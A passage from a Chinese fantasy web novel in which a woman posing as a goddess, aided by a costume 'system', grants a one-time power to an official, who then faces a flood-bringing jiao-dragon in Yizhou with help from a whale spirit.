既不可直视帝王,当然也不可直面神明。在未经允许时直视高位者的脸,视为冒犯。
但神女或有动作,这是她们心照不宣的。
上朝多日以来,姒昭安静地誊写资料,连四处惩处男臣的腾蛇都比她活跃,但这绝不意味着人们会忽视她。
恰恰相反,神女端坐皇位,神女执笔,神女的目光落在腾蛇神君身上……她的一举一动,在凡人这里都是最重要的。
而今沉默许久的神,终于愿意开口了吗?
神明张开嘴,给予凡人恩赐:
“益州不日将有蛟龙走水,旱魃将踏足襄州。”
时隔多日,神女再次做出预言。
砰
这预言像是晴日里的一道雷劈进人们心中。
蛟龙?旱魃?这不是神话故事里的存在吗?
不过神女都降世了,那这蛟龙旱魃是真实存在的也不奇怪,怪只怪在:神女此言何意?这等精怪竟也将现世、为祸大周?
这也算天灾的一部分吗?
姬荣想起神女此前说过不得天眷之大周会有妖鬼作乱、山精害人,心头升起不妙的预感。
果然,姒昭道:“蛟龙走水,则益州必遭洪灾;旱魃出世,则襄州寸草不生”
这下所有人都听懂了。
洪灾,旱灾。
且是蛟龙、旱魃这等神物带来的,又是神女亲口告知……想来情况必会比她们想的糟糕百倍。
众人面色凝重,有那么一瞬间寄希望于神女施以援手,却又想起实际上神女早已帮过她们许多次了。
而神女本身并无帮助大周的义务,她们也不该太过依赖神女。
姒昭端坐龙椅,问:
“蛟龙旱魃,洪水干旱,你们又要以什么样的手段去应对呢?”
底下的人面面相觑,脸色难看,这……
上官玥站了出来,施了一礼后回道:
“人力微薄,然愿集众人之
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力,抗洪抗旱,于天灾中自救,解我黎民之苦难”
“神女慈悲,告知我等天灾将至、症结所在,我等感念于心。陛下乃贤明圣主,已于当时遣人往大周各地开展防范工程,下令各处机关为天灾的降临做准备”
“当时如此,今日亦如此,臣等愿为神女、为陛下、为大周效犬马之劳”
她的声音落下,掷地有声。
在极短暂的静默后,殿内百官几乎同时开口,气势如虹:
“臣等愿为神女、为陛下、为大周效犬马之劳”
“臣等愿为神女、为陛下、为大周效犬马之劳”
“臣等愿为神女、为陛下、为大周效犬马之劳”
声浪一波接一波,充斥着这方大而空旷的殿宇。
这显得她们静默下来后的气氛更加庄严。
在臣子沉默之后,帝王开口了。
“神女,”姬荣望着她:“周愿倾尽全力斩除天残毒瘤于天灾中自救,绝不辜负娲皇神女的慈悲之心,可这旱魃蛟龙……”
“恕荣妄言,鬼神之力岂凡人可轻易抗衡?”
“还望神女出手,给与我等一线生机。”
她们见过神女与那恒娥仙君斗法的场面,于片刻间转换日月,归墟之水亦听调遣,这等伟力,凡人如何抗衡?
但她们也清楚,既然神女来到大周接受了祭祀,击退了想要大周气运的恒娥神君,此刻又主动透露旱魃蛟龙的动向,那必然是愿意帮大周处理鬼神之事的意思。
——君不见此前天灾不断神女照样端坐高台不理凡尘?
现下主动开口,自然是神明的因果神明了结、人对人神对神的意思。
望着底下满怀希冀的众人和身边一脸真诚的姬荣,姒昭十分善良的没有搞她们心态逗人玩儿,她慷慨直接地朝姬荣伸出援手:
“我会赐给你们我的力量”
此话一出,直接打破了朝臣皇帝的平静。
然神女神色淡然,似乎完全没有意识到自己说出的是多么震撼人心的话语。
“凡人之躯不可承载神力,因此这力量并不属于你们,而是会化作特殊形态存于被赐予者身上,同时我将派遣巫山之灵同其前往对抗恶蛟旱魃”
她的目光落到姬荣身上:
“你们需要选出一个承载力量的人。”
20.第 20 章
神女淡然,其她人可淡定不了一点。
什么?赐予凡人神明的力量?
什么?有巫山之灵随她们一同对抗蛟龙旱魃?
天底下还有如此让人心潮澎湃的事?!
毫不夸张的讲,当时就有人激动的脸红成火烧云了。
要不是上面那两位是神女和皇帝,差点就要失去理智冲上去拉住神女的手喊“选我选我”了。
那可是神女的力量!神的力量!即使不属于她们,能够使用也很让人情绪激荡了。
在场的都见过那于一息间转换日月、云端之上神仙斗法的场面,谁不想拥有这样的伟力?
而那巫山之灵,虽说不知道具体是什么,但是神女她是巫山神女啊!巫山之灵一听就与神女关系密切。
姬荣内心也泛起了滔天巨浪,要不是纵横官场皇室沉淀出的心态,她都想抓着神女说她可以选她了。
好在帝王就是帝王,她克制住心中的汹涌情绪:
“荣必不负神女之望。”
“只是,这人选是否有要求?”
总不能随便一个人都有资格承载神的力量吧?
姒昭:“只限女子。”
听闻此言,大殿上的人并不意外。甚至那些男臣也都一副平静的模样,毕竟神女对他们的态度是有目共睹的,都是“天残”了,怎么有资格得到神女的力量呢?
倒是女官有几分诧异,那岂不是只要是女子都有概率得到这份力量?
有人面露动容之色,心潮起伏,最终压下了情绪,只余眼角隐约的红透露几分心绪。
曾几何时,众人厌弃、唯恐避之不及的女子身份,如今成了荣耀吉祥的象征、神女皇帝面前的通行证。
话已至此,此次前往益州赈灾之事倒是成了人人渴求的香饽饽。
姒昭知道自己对政务一窍不通,为了不破坏神女形象,她保持着人设高贵冷艳地离开了朝堂,让她们选出负责承载力量的人再来找她。
神女一走,场面变得热闹起来。
这个跳出来说我战功赫赫合该得此殊荣,那个维持着职业假笑表示我做这事多我有经验应该让我上,转眼间又钻出来一位表示你们都不行,我沉稳又靠谱这活该是我的。
好好的朝堂一时间吵成了菜市场,直到姬荣轻咳两声道一句肃静,这才制止了这场闹剧。
看似淡定的天子心里恨不得自己亲自去益州做赈灾官员,她也是女的也想获得神女的力量啊。
不是说她们姬氏一脉有什么巫的血脉吗?不是说姬氏先祖是足以沟通天地神明的大巫吗?
她才应该是最合适的人选啊。
然而立足现实,她知道自己不可能任性,只得任命合适的女官为本次赈灾官员。
被选中的女官名为妫杳,身量中等,相貌清秀,却怀着一股野草般的韧劲,即使站在姒昭这位“神女”面前,礼节周到地对神下拜,姿态照样不卑不亢。
姒昭则暗暗打量着她,想起背景资料里被派去赈灾的官员也叫妫杳。
或许她的到来改变了很多东西,但同样也有很多东西如深深扎根于大地的芦苇,韧而□□,不随流水漂泊。
思绪千回百转,面上不显分毫。
她立于妫杳身前,素白干净的手搭上了对方的肩膀,按下换装按钮,于是神迹再现。
碧蓝的水流小蛇一样攀上妫杳的身体,温和不刺眼却无法忽视的光芒于其身上绽放,像是坠入大海,澄澈的蓝将她包裹,点点星芒在神女指尖聚集,最终顺着指引落于凡人身上,化作蓝色的衣裙。
恰逢此时有风来,衣袂随风动,层层叠叠的曳地裙裳似花绽放。
恍惚间似有海风吹来咸腥的气息,海浪奔涌,惊涛拍岸,朵朵浪花于蔚蓝中跳跃又消逝。
在场的众人还未来得及惊叹便见眨眼间星河取代大海,浩瀚星辰汇聚成皎皎银汉,又于转瞬落于汪洋。
天上的海与人间的海重叠,最终化作她的裙摆。
异象消失,妫杳望着自己身上这套衣裳,恍然间觉得自己还在梦中。
可抬头望去,除去神女,在场众人都一副如梦初醒的模样,很明显,她们都看见了神女是如何裁夜为衣、汪洋做配。
她们望着那套仿佛江河之水所化的衣裳,不可遏制的想起神女曾说过自己掌江河湖泊之水,归墟算,银汉星河也算。
但不管她们内心有多么震撼敬畏,神明只是安静地伫立在凡人面前,身姿如松如竹:
“化作这般形态吗?”
“也罢,如此也好。这份力量既做你的衣,也是你的盔甲,自当保你平安。”
系统:其实是因为我们是换装系统,一切技能必须附着在套装上……而且宿主你刚才明明有在庆幸这个套装有初次出场自带特效吧?!
姒昭望着妫杳:
“我虽赐你力量,但凡人无法掌握神力,你只能使用它一次。”
嗯,实际是那个技能只能用一次啦。
妫杳下拜:“下官谨记。”
说罢,她略微迟疑道:
“只是臣肉体凡胎,愚钝不堪,实在不明白该如何使用这份力量,还请神女不吝赐教。”
妫杳能感觉到穿上这衣服——不是,接受这份力量后,她突然觉得身体轻盈、精力充沛了许多,甚至觉得若持剑力敌七八人也不在话下。
可是若要说对抗恶蛟,她依旧觉得自己是凡人之躯,痴人说梦。
姒昭的目光落下:“你错了。”
她道:
“你等虽为凡人,我何曾视凡人性命轻于草芥过?又怎么会让你以凡人之躯对抗蛟龙?”
“我说过,会遣巫山之灵随你同去,那蛟龙自当交由它对付,我赐你神力,是要你于那水灾中救苍生黎民。”
神的话如隆冬朝阳升起时屋檐下融化的那滴水珠,冷而清冽,倒映着暖色的朝阳落到她的心上,漾起圈圈涟漪。
她几乎要不顾礼数去看神的脸,看她眼里的慈悲,看她眼中,真的倒映出大周的百姓。
姒昭显然不知道眼前人的心理活动,她继续道:
“至于该如何使用这力量,顺从本心即可。”
“你的心会带着你使用它。”
妫杳朝她深深一拜:“臣必当不负神女、陛下所望。”
*
提前得了灾难会降临消息的朝廷命官前去赈灾,该留在朝堂上处理事务的官员还留在那儿。
只是她们讶异的发现,往日该端坐着神女的龙椅,今日空着。
别说她们,姬荣的表情都有一瞬空白。
按捺下心绪,她保持着镇定先上朝。
然而过了一会儿,一侍者来到天子身边耳语几句
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,朝臣就看见皇帝变了脸色。
姬荣竟是中止朝会,率先朝神女居所去了。
宫室华丽而空旷,负责侍候的宫人跪了一地,姬荣脸色不变,周身气压却很低,任谁都能看出皇帝此刻心情极差。
究其原因……随行的女官环顾四周,不见神女的身影。
“滋——”
突兀的电流声在殿内响起。
姬荣脚步一顿,朝声音源头走去,发觉案几上放着一物,外形奇怪,她们从未见过。
有侍者忧心此物对皇帝造成伤害,意图先去探查,却被姬荣拦下,自己上前。
这是神女的居所,神女绝不可能伤害自己。
姬荣对此无比确信。
她上前,还未碰到那东西,却见那东西传出腾蛇的声音:
“母猪的产后护理是确保其健康和顺利恢复的重要环节……”
众人愣了一下,随即提起的心放松落回了肚子。
姬荣的表情也随之舒展。
这是腾蛇讲道的内容。
虽不知神女腾蛇此举何意,可腾蛇还愿讲道,那便意味着不是她们以为的,放弃了她们。
至于神女放置在案几上、能传出腾蛇声音的东西,大概是神仙的法器吧。
*
土路上,系统从光球皱成了包子。
“宿——主——”
“我们一定要这样吗?!”
姒昭肯定:“是的,要走。”
没错,皇帝和大臣们心心念念的神女,她走在去往益州的路上。
嗯,跟妫杳同路。
不过她是自己雇佣了马车前去,没跟赈灾队伍一起。
同时她为了避免给姬荣她们造成误会,以为她回天上去不理她们了,专门让系统提前录了音留了录音机,每天定时播放当日教学内容。
今天是母猪的产后护理。
系统:“呜呜可是我们为什么要跑那么远啊,待在皇宫京城不好吗”
姒昭道:
“我也不想,可没办法啊,谁让换装系统有距离限制呢?”
“你想想,要是妫杳一出京城发现‘神力’没了,‘巫山之灵’也没了,那接下来我们不就凉了吗?”
“我们必须去把这场戏演完”
说罢,她摸摸系统尾巴:
“而且我们去了,可以救更多人呢。”
洪灾必定会降临,旱灾将接踵而至,她想救人,她有能力救人,所以她必定会离开繁华的京城,从南跑到北,做一切能做的事。
“而且啊,统统,你说我们为什么被限制不能抽出未来系、军旅系的衣服呢?”
姒昭开始发挥想象力:
“要是不限制衣服类型、我能拿到星际未来或者现代军队风的套装,那我……”
“不可以。”系统木着一张脸打断了姒昭的话。
不用说她都知道宿主要干嘛。
系统望着姒昭,郑重道:“不可以哦,宿主。”
“你想干的事已经有人干过了,后来被算作bug修复掉,那些套装都不可以在这种冷兵器时代位面出现了。”
姒昭立马垮下脸,蔫儿了吧唧的道:“那好吧。”
她那架起一尊大炮、直接火力压制创造女男平等世界,然后带着军队炮火洗地统一全球的美好愿望就此破灭了。
21.第 21 章
风萧萧兮。
以妫杳为首的赈灾队伍正朝着益州前进,她们必须在神女预言的蛟龙走水日前到达。
到达目的地后,她同当地地方官一同办事,遣人疏浚河道、加固堤坝,根据神女预言遣散蛟龙走水之道周边的百姓,在灾难真正到来之前救下更多人。
倒是当地的百姓、县令等不太明白,不少人觉得这是天方夜谭。
“你说,俺们大周真有那什么神女?”
操着一口本地方言的小妹儿暂时安置好自己带来的东西,拿手肘捅了捅旁边的人。
在她——不,不止她,在她们这一片儿的人看来,这些朝廷来的大官都很奇怪,甚至是有点儿疯疯癫癫的。
此前也有神女降世的言论,也有有关于神女的消息来此,民夫民妇被征调去修筑河堤。
但这次和以往不太一样。
她们真切地看到那些明显和本地人不一样、八面威风的大官讲什么神女预言,蛟龙走水,洪灾将至,强硬地让她们带上必需品离开自己的家换个地方住。
其实抛去外表只听言论,她瞧着像村里头那个骗钱的马神婆。
且这片土地上的人素来安土重迁,谁人愿意因别人几句话就放弃原本的家跑别的地去呢?尤其这人讲话不着调。
但人家是官儿,还是大官,旁边还站着带刀的,她们平头百姓再不愿也得走。
旁边的大姐靠着树,啜了口汤,道:“这京城皇宫的事你我谁又能知真假呢?”
她微眯着眼,抬头去看那树叶缝隙间悬挂的太阳:
“不过一定要说的话,我觉得,有也不错。”
她转过头看着小妹:“咱不就是因为这个才能分家的?”
大姐摸摸身旁的小妹的头,温声道:
“至少这神女来了,你能上学了,我们单独立户了,现在么……”
女人笑了一下,脸上堆积的纹路像树木的年轮,镌刻着岁月的痕迹。她摇了摇手中那碗汤,望着里面飘着的那点儿油腥沫子和零星的肉片,一饮而尽。
“现在,这碗里有油有肉。”
神女降临的消息第一次次传到益州时,伴随着的还有皇帝的旨意。
强硬的、不容反抗拒绝的指令,让她们得以和本家分家立女户,新来的老师真正贯彻有教无类,她能送小妹去上学了……
现在,说实话,她舍不得她的屋子,即使很破旧,但官府也没说要没收房产,只说等灾难过去再看,现下安置她们的地方头顶也有片遮风挡雨的瓦,睡觉时带来温暖的被。
平日里按着官府组织的去修桥筑路、开凿渠道、建设水库,她们干活,官府给吃给住。
而且她这种老百姓对官府有某种天然的信任,对危险有某种敏锐的嗅觉。
她清楚当今圣上并非昏庸无能之辈,官府不至于愚蠢庸碌到戏耍百姓,以此让百姓背井离乡,更大的可能是真的会有灾难降临,即使这听起来很不可思议。
她安抚妹妹:“先等等看吧,看是不是真有水患。”
*
百姓心中有疑问,地方官也有。
姞晖就很不明白,那神女既然能预言蛟龙走水的日子,让她们提前做出应对举措,那她为什么不亲自前来收了那蛟?
面对疑问,妫杳看着她,语重心长地道:“因为因果。”
姞晖听的满头雾水:“因果?”
妫杳点头:“对咯。”
“你们不也知道祭典那日神女与恒娥仙君斗法之事吗?”
“如今天灾,神女临周,恒娥现身,这一桩一件可都归结于因果二字。当初若非神女与陛下先祖有旧,而今与周有因果线相连,又怎么会踏足凡尘、助周度过天灾?”
——腾蛇曾“无意间”提过一嘴报社报纸的事,后来姬荣等人把这种信息传播方式和她们此前的手段相结合,初见成效。
“但这和水患有什么关系?”
姞晖懵懵懂懂。
通过益州的报社报纸,姞晖和当地人民是知道祭祀上的事的,但是吧,毕竟没亲眼见过,不怀有像妫杳这样强烈的情感。
作为亲历者,亲眼见过神仙斗法,身上承载着神女神力,妫杳对神明的一切都深信不疑。
见姞晖懵懂疑惑,妫杳郑重耐心解释道:
“神女有转换日月的本事,何惧一条小蛟龙?可这是周的因果
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,因天残当道、女子受苦受难而结的苦果,我们身为周人,不自己解决只想着靠神女,可神女能在周留多久呢?”
“过往的因果一了,神女离开了,我们呢?”
“不从根源上解决问题,这条蛟龙没了,以后还会有第二条、第三条蛟龙走水伤人,后患无穷,那时我们该怎么办?”
说着,她望着姞晖,神色认真:
“我们得自己解决问题。”
姞晖如拨开云雾见青天,她未必全信有关神女的言论,可很赞同必须自己动手去做这话。
更何况,她虽不全信,却也敬畏。
若这话全真,她们必将扫清不安分的男人,换上掌权的女人。
而且,因为在神女的神谕里,天灾的降临和天残相关,这其实是很方便世间女子地位上升、女官执政、女帝政令的推行的。
近期以来,她们在上面做事的能感觉到诸如女子入学、立女户的事情变多了,很多与女子相关的政令推行更容易了。
甚至……陛下最新下发的各种较之以往对男人来讲“过分”的政令也得以很快很顺利的推行。
大概是即使身为天残,也在天灾中受到惩罚认识到错误,从而希望天灾很快结束吧。
不管怎样,对她们有利就好。
见此情景,妫杳知姞晖未必全信她的话,在心中幽幽叹了口气。
她知道,没亲眼见过,很难信服神女。
她自己是见过神女怎样拨正光阴、裁汪洋为衣的人,如此,才心悦诚服。
更何况,虽然当初神女没说,但她这几日发觉承载神力后不必清洗亦可保持清洁,不吃不喝仍旧精神百倍,外加神力所化的衣袍脱不下来,这些不都是离她最近的、明晃晃的神迹吗?
起先她还怕这天衣被弄脏,可后来发现不存在这回事后就穿着它工作、权当宣扬神迹了。
可惜大家都以为只是京城时兴的布料纹样款式。
妫杳那时和此时心境相同,有过叹息感慨,但很快重新昂起头觉得没关系,等到时候她使用神力退蛟龙,定让她们大吃一惊。
神女庇佑、怜悯凡人,她得恩赐,当使其名传遍天下。
22.第 22 章
神女预言说有蛟龙走水、洪灾将至,妫杳与那些同她一道自京城来的人是百分百相信的,只是益州大多数人持半信半疑的态度。
可朝廷来人后不过三两日,益州便下起了雨。
雷声轰鸣,电光四射,黑云压城,雨势浩大。
时而倾盆而下,时而淅沥连绵,间或歇上几刻便又卷土重来,若非提前采取了防治措施,只怕早已积水。
若说起先百姓们还觉得马上就会雨过天晴,那么此刻,忧虑压过乐观占据上风。
她们忧心洪灾,更忧心预言里的蛟龙。
那等生物是什么样的?它管下雨刮风吗?否则怎会因此发洪水?还有,它……吃人吗?
人们心中忧虑,平日里也会三三两两聚在一起讨论。
“其实这蛟走水,俺也是听老人讲过的”
某间质朴的茶楼内,一姑娘挠挠头道。
闻言,妫杳不自觉向其投去了目光。
她今日隐了官府身份,穿粗布麻衣遮掩内里神力所化裙裳,以平头百姓的身份行走于大街小巷,查探民情。
不想听得蛟龙走水一事,心生好奇。
虽说她来之前也做过功课,看过朝中古籍所书,如今还是免不了想听听民间如何说。
见自己的话吸引了周围人的目光,说话的姑娘当即放好茶碗,理了理衣袖,轻咳两声,做足了认真的姿态,这才道:
“咳咳,你们不知道,这蛟呢,虽也被人间叫做蛟龙,沾一个龙字,可实际上啊,还算不得是龙呢。”
那姑娘眼神里闪着光彩,熠熠生辉。
周围人也被她的话勾起了兴趣,从靠坐的松散状态脱离直起了背。
姑娘继续道:
“这蛟啊,是从蛇修炼来的,要从凡蛇到蛟,不可谓不辛苦,但若成了蛟,便有攀登大道、化而为龙的资格,因而也能担得起凡人一句‘蛟龙’,预示往后大道,也是讨个彩头吉利。”
“蛟之属走水,要化龙,需引水而出,御泽潜水而行,顺着江河湖泊直入大海,化而为龙。”
“这整个过程,就叫做蛟走水。”
她话说完了,旁边的人听得入迷尽兴,追问道:
“那也就是说,咱们这儿下了那么多天的雨,是那蛟为了走水引的啰?”
姑娘摇头晃脑:
“这还用说吗?神女不是预言过了是蛟走水吗?”
说罢,她望着问话的人,似笑非笑:“莫不是,你不信神女,怀疑神的话?”
那人噤了声,支吾道:“也并非如此,没有不信。”
她声音不大,底气不足,显然并不笃信鬼神,或许平日祭拜,可要说真神降世,那心中便多少生了些叶公好龙的意味。
但见说话的姑娘撑着下巴,目光灼灼:
“是没有不信,却也并不笃信,是吧?”
“你不信神女,又为何信我蛟走水一说呢?”
她面上一派天真烂漫,如哪家娇养出的、不知世事的小姐,又似山林中无拘无束的精灵。
不等对方回答,她自言:“我知道了。”
“你只是把我说的当故事听,才要刨根问底。”
话落,她不再理面前的人,也不需答案,执壶给自己添了茶,目光掠过面前众人,径直望向了靠窗坐的妫杳,朝她扬了扬下巴,声音清脆:
“这位姑娘,你知道吗,蛟走水并不总是顺利,不是所有蛟都能走到大海、成功化龙”
“你瞧这雨下了多日,多半是有蛟被困在某地、难入东海”
那女子还望着她,隔着不近不远的距离,妫杳心中猛然一跳,眉头不自觉皱起,随行的姞晖警觉地握起武器。
窗外的雨声渐大,不知何时起,雨越下越急了。
劈里啪啦,水珠和眼前人的声音逐渐重叠,落到了妫杳心里。
但见那姑娘展颜一笑,如桃花灼灼:
“您说,那蛟能成功化龙吗,大——人——”
她叫的称呼!
妫杳身上的衣裳无风自动,衣袂飘扬,粗麻外袍下的水蓝衣裙上漾起圈圈涟漪,如风过水面。
见状,妫杳利索地脱掉外袍,露出神力所化的衣裳,直面眼前女子:
“你到底是谁?”
她记得神女说过,神力既做她的衣,也是她的盔甲,自当护她周全,故而无畏。
轰隆——
惊雷落下,天色昏暗,忽如其来的狂风吹得茶楼内烛火飘摇,衬得那女子面色狰狞。
只见那人瞳孔骤然一缩,化作冰冷的竖瞳,额前也鼓起两块,似有东西要破土而出,一张口,艳红的信子嘶嘶作响:
“我并未做什么,大人何故如此警惕?”
砰
见此情景,有人吓得面无血色,失手打翻了茶盏,有人抖如筛糠,哆嗦着藏入桌下,恨不得两眼一翻就此昏睡过去。
“妖!有妖!”
有人惊叫着逃跑,窜入雨幕。
那蛟却毫不在乎,只望着妫杳道:
“神女降世,却偏偏宠爱人族,入了那皇城,平白让尔等沾了仙气”
她那双冰冷的竖瞳紧盯着妫杳身上的衣裙,话里颇有几分艳羡愱忮:
“甚至,得了神力”
难怪,难怪这蛟能叫出那声大人。
她自以为遮掩的很好,实则只遮住了表象,能蒙蔽凡人的眼睛,却遮不住神仙的恩赐,遮不住山野精怪那双求仙问道的眼。
清晰可见的鳞爬上了肌肤,让蛟的面庞显得更加可怖,她娇笑着,却只让人觉得恐惧:
“小蛟福薄,不得见神女,只好循着仙气来此,讨大人一句彩头,还望大人行行好,遂了小蛟的愿。”
这话说的听着谦卑,细品却满是威胁陷阱。
妫杳知道,面前的蛟明知她身上带着神女的一丝神力却仍敢出现,无非算到了神女不愿过多插手此事的心思。
如此,才敢这般嚣张。
一句吉利话,若是平时妫杳也就说了,不愿起冲突。
可此刻是蛟要走水
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,不管人间是否因此生灵涂炭,她作为朝廷命官,怎能如此草率妥协?
如此行事,将百姓的性命置于何地?
她离开于原地,不动如山:
“你于此时走水,必引发洪灾伤人性命,使得人间生灵涂炭”
“神女知我来此赈灾,恐百姓罹难,方才允许我承载神力,如此慈悲心肠,想来是见不得人间尸横遍野”
妫杳明白,自己纵是朝廷命官,亦不值得这蛟来讨彩头,真正让眼前妖物找上自己的,还得是神女所赐那丝神力,因此搬出神女来压她。
同时她知晓自己此刻的话关系重大,恐明说化不成龙会激怒此蛟,又不愿遂了她的意说能成功,怕她不顾百姓直接走水,故而如此说话。
但这话里不赞成的意思,蛟龙是听得明白的。
她笑笑:
“大人此言差矣,人来世间走一遭,何时生何时死自有定数,不该死的,我即使走水也不伤她性命,该去阎罗殿的,没有我走水,她也难逃一死”
“神女是何等存在,人间千年于她不过弹指一挥,生死轮回千百次也只如蜉蝣朝生暮死,怎会在乎凡人百年?”
接着,那蛟眼波流转,道:
“更何况,我若化龙,行云布雨之际必当对此地多加照拂,佑它风调雨顺,如此这般,自是补了今日走水之过”
妫杳姞晖闻言,心知这蛟分明没把益州百姓的命放在眼里。
先不说她日后为龙是否真的会照拂益州,便是真的,难道此时此刻,此地百姓的性命就该为她化龙让道吗?
至于那些有关神女的话,妫杳至今都记得神女说不是要她以命相搏抵挡蛟龙时心底升起的千般情绪,怎会因蛟龙的话动摇。
她目光坚毅,不为蛟龙的话所动:
“道不同不相为谋,蛟君的话,在下不敢苟同,还请回吧”
“下官奉神女、陛下之命,治理益州,还有公务在身,恕不奉陪”
明晃晃的赶人。
我不赞同你的观点,我身后有神女,你最好不要做事做绝,快点走。
妫杳意思如此,但蛟却不领情。
不过一介凡人,得见蛟龙容颜就该感恩戴德,怎敢一而再再而三地驳了她的面子?
外头的雨越发大了,蛟龙卸下了温和友好的一面,冷笑:
“哼,冥顽不灵,尔等凡人如何能懂机会难得,求道艰难?怎能懂我走水化龙之心切?”
她望着妫杳,冷声道:
“你也不必拿神女压我。神女垂怜尔等已是慈悲心肠,又怎会再不顾因果过多干涉?”
“若真不许我走水,一封口令即可,怎会只派一凡人前来?”
那蛟望着面前的人类官员:
“你身怀神力,神女要你活,我不动你。你那彩头我也不是非要不可,今日,我必走水化龙!”
铿锵的声音落下,原本勉强维持着的身形化作蛟的模样,鳞片翕张。
一声粗犷浑厚的吟啸后,蛟破窗而出,大雨如注。
23.第 23 章
电闪雷鸣,雷雨交加。
狂风大作,声似鬼哭。
姞晖正欲上前阻拦,脚下忽而一踉跄,控制不住地向前倒下,世界霎时扭曲变换,让人只觉天旋地转。
“大人,大人”
耳畔的呼声由远及近,从模糊到清晰,传进她的耳朵。
妫杳猛然惊醒,发觉自己正伏在桌前处理公务,不知怎的竟睡着了,姞晖也不在身边。
她一时有些恍惚,刚才那只是个梦?
身旁的近侍见她醒了,正欲开口,却见妫杳一手抓住了她的衣袖:
“外面情况如何?可有洪灾将至之兆?”
她语气急切,神情里带着焦急不安。
近侍回道:
“回大人,一切安好,并无灾患之兆”
听此言,妫杳心中却并不安心,那绝不可能只是她日有所思夜有所梦,如此真实,一定,一定是什么预兆。
她必须先采取措施。
思及此,妫杳吩咐近侍:“你去……”
“大人——”
她话音未落,有人匆匆赶来,不顾礼数径直闯入书房。
妫杳心下一紧,不好的预感如潮水涌来。
果然,来人道:
“大人,洪水——洪水来了——”
*
洪水滔滔,似江河倾倒,如猛兽咆哮,几乎要吞噬大地,淹没天空。
豆大的雨点噼里啪啦地砸下来,雷声震耳欲聋。
街道、农田、树木俱被淹没,孩子的哭喊与大人的呼唤交织,失去束缚的水奔腾成愤怒的猛兽。
虽提前迁走了居民,修筑过防治工程,如今仍是一派兵荒马乱的景象。
训练有素的官兵第一时间采取行动抗洪救灾,仍不敌自然伟力。
面对天灾,人力显得如此渺小。
中断了梦境、立于高地的姒昭面色难看,她以为她的预言提醒能改变很多东西,却忘了即使是在她曾经的、科技水平远超大周的世界,对抗天灾仍是一件难事。
她当即呼唤系统:
“配合我”
系统没有第一时间答应,而是颇为担忧道:
“你确定?”
“你的精神力……”
姒昭表情凝重,却不曾后退:
“确定,我来、我做这些事,就是为了让这里变得更好。”
救人当然也算其中之一。
说罢,她笑了一下:“事情都做了一半了,怎么可以半途而废?我能坚持,不必担心。”
系统自知无法扭转她的心思,只能幽幽叹了口气,道:“好吧,但是记住,如果遇到危险,一定要保全自己。”
她也会努力保护姒昭这个宿主的,哪怕动用系统积分。
“放手去做吧。”
真奇怪,她的宿主明明只是装个神女,怎么就真把自己当神、要去普渡众生了呢。
搞的她这个系统得在这里做最坚强的后盾。
*
远处,妫杳并不知道她心心念念的神女跟她不过几十米的距离。
她接到洪灾的消息后便第一时间来到前排战线指挥,同时拼尽全力寻找调动“神力”的办法。
她记得神女说过,这份神力是用来救人的,时机一到便将有所感应拯救黎民苍生。
可她到底该怎么做?怎样才能调动力量?
她正焦急,忽见洪水之中有似蛟似蛇的东西若隐若现。
这是——
蛟走水!
妫杳瞬间想起那个梦,心头一震。
水中那东西并未真切显现全貌,但那间或露出水面的尾鳍、背脊、庞大的体型都能表明它的身份。
看见那东西的不止她一个,她能听见人群中传出类似的惊呼:
“那是什么!”
“妖怪啊——”
“它会不会吃人?”
“是蛟!我梦里的那条蛟龙!我没说谎!”
那句提及梦境与蛟龙的话吸引了姞晖的注意,她望去,讶异地发觉此人正是先前梦中被问及是否不信神女的大娘。
此时她正情绪激动地抓着身边人的手道:
“我没说谎!我梦到那蛟之后这洪水就来了!”
“就在平时我们去的那家茶楼!”
“还有那个朝廷来的大官!她和那蛟说话了!”
大娘的话说得颠三倒四,但妫杳能明白她话里的意思。
同时还有其它被她的话吸引过来的人,一部分表示自己也做了相同的梦,一部分更关心这蛟吃不吃人,该怎么救人,有没有让洪水退去的办法。
慌乱之际,隐隐有龙吟虎啸之声响起,众人惊惧交加,就见大水中那蛟龙抬头,硕大的脑袋半探出水面,就要完全显现在众人面前。
在这个科技水平并不发达、靠天吃饭的时代,震慑人类的手段也极其简单。
一个妖魔,外表的狰狞加上体型巨大,就可以让人感到十足的恐惧。
哗啦——
混乱中,潜伏于水面下的蛟终是动了,硕大的头颅探出,两腮鳞片翕动,额前两处隆起,雪白的牙透着锋利的寒光,信子艳红。
“啊——”
“怪物——”
和梦里如出一辙的情状。
蛟,惊叫,混乱,逃跑,躲藏。
但更为糟糕的是,这里洪水未退。
诚然她们提前转移到高处,做了许多准备,但那肆虐的水比她们想象的还要可怕,仍有人在挣扎求生。
更遑论蛟龙在此,从未见过的生物现世,她们自然恐惧,担忧自己一不小心成了口粮。
慌乱里妫杳咬紧牙关,在无数因畏惧而后退的人群中逆流而上:
“恶蛟!你如此行事,危害苍生,如何能顺利化龙?!”
她在赌,赌神力在身,那蛟即使愤怒也伤不了她。
而随她前来的官兵自会抓紧时机救人、疏散人群。她信任自己带出来的人,必不是那等贪生怕死之辈。无论如何,她们都要完成此次任务,方不负神女和陛下所托。
此话一出,果然吸引了那蛟,将注意力引到她身上。
瞪得如铜铃般的瞳孔凝视着小小凡人,那蛟缓缓开口,声音冰冷:
“无知人类,你敢口出狂言……”
狂风呼啸,妫杳迟迟找不到使用神力的方式,已做好以血肉之躯斗蛟龙的准备,忽然间似有感应,一声悠扬动听的吟啸响彻天地,水面之上,小山似的脊背拱起。
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妫杳心头猛然一跳,某个猜想浮现,那是——
砰!
山岳倾倒一样的力量狠狠撞在了蛟的身上,那蛟猝不及防沉入水底,来者则露出了庐山真面目:
“久等了,妫杳大人。”
同样壮硕庞大的身体,面前的家伙则显得可爱活泼了许多,头尾呈灰色,性格亲人,这是一条,鲸鱼。
当然,京城不沿海,妫杳没见过鲸鱼。
而且,也没有哪条鲸鱼会说人话。
因而,妫杳只能愣愣道:“敢问阁下是……”
鲸友好微笑:“你不是猜到了吗?我是神女特地派来为你助阵的巫山之灵啊。”
妫杳恍然。
当初神女说会派巫山之灵与她同往,出发时她问巫山之灵何在,只得了神女一句“随你而行,需要时自会出现”,原来是这个意思。
眼见那蛟又有卷土重来之势,鲸急切道:
“你快调动神力治水救人,我去对付那蛟。”
说罢,它便潜入水中,与恶蛟搏斗起来。
“哎——”
妫杳手伸出一半,想询问到底该怎么调动神力,忽见身上衣裳闪烁起荧荧光点,在昏暗的雨幕下显得格外耀眼。
也就是这一刻,她才意识到,比起周围其她人来,她其实,一直在发光。
字面意思上的发光,浑身都笼着一层温和的光辉,如救世的观音,这也是她吸引众多目光的原因之一。
